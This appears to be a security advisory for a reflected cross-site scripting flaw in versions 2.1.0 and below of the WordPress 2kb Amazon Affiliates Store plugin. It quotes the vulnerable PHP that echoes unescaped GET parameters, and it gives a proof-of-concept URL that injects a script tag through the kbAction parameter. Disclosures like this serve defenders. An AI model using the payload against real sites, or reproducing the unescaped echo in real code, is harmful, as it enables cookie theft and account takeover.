WordPress 2kb Amazon Affiliates Store 2.1.0 Cross Site Scripting

WordPress 2kb Amazon Affiliates Store plugin versions 2.1.0 and below suffer from a cross site scripting vulnerability.


MD5 | ed7cc9ee351abba47e1139929002ac68

Class  Input Validation Error
CVE
Remote Yes
Reflected Yes

Credit rsanchezr
Vulnerable 2kb amazon affiliates store WP plugin

2kb amazon affiliates store WP plugin is prone to a cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the "page" and "kbAction" values aren't filter
correcly.

<input type="hidden" name="page" value="<?php echo $_GET['page'];?>"/>
<input type="hidden" name="kbAction" value="<?php echo
$_GET['kbAction'];?>"/>

Demo url:

http://localhost/wordpress/wp-admin/admin.php?page=kbAmz&kbAction=demo%22%3E%3Cscript%3Ealert%281234%29%3C%2Fscript%3E

Related Posts

Comments